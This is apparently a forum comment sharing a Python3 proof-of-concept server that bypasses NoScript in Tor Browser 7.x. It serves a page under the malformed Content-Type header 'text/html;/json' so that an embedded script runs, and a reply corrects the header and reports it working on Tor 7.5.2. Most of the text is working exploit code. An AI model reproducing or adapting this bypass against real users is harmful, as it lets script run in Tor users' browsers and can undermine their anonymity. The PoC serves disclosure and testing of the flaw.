Python3 version:

#!/usr/bin/python
from http.server import BaseHTTPRequestHandler, HTTPServer

PORT_NUMBER = 31337

class myHandler(BaseHTTPRequestHandler):

        #Handler for the GET requests
        def do_GET(self):
                self.send_response(200)
                self.send_header('Content-type','text/html;/json') # Here is where the magic happens
                self.end_headers()
                self.wfile.write("<html>Tor Browser 7.x PoC<script>alert('NoScript bypass')</script></html>".encode())
                return

try:
        server = HTTPServer(('', PORT_NUMBER), myHandler)
        print('Started httpserver on port %s' % PORT_NUMBER)
        server.serve_forever()

except KeyboardInterrupt:
        print('^C received, shutting down the web server')
        server.socket.close()

@brammittendorff many thanks in advance for the Python3 version, but there is a small mistake regarding the exploit:
It must use:
self.send_header('Content-type','text/html;/json')
instead of
self.send_header('Content-type','text/html')

Tested on Tor 7.5.2

Thanks!
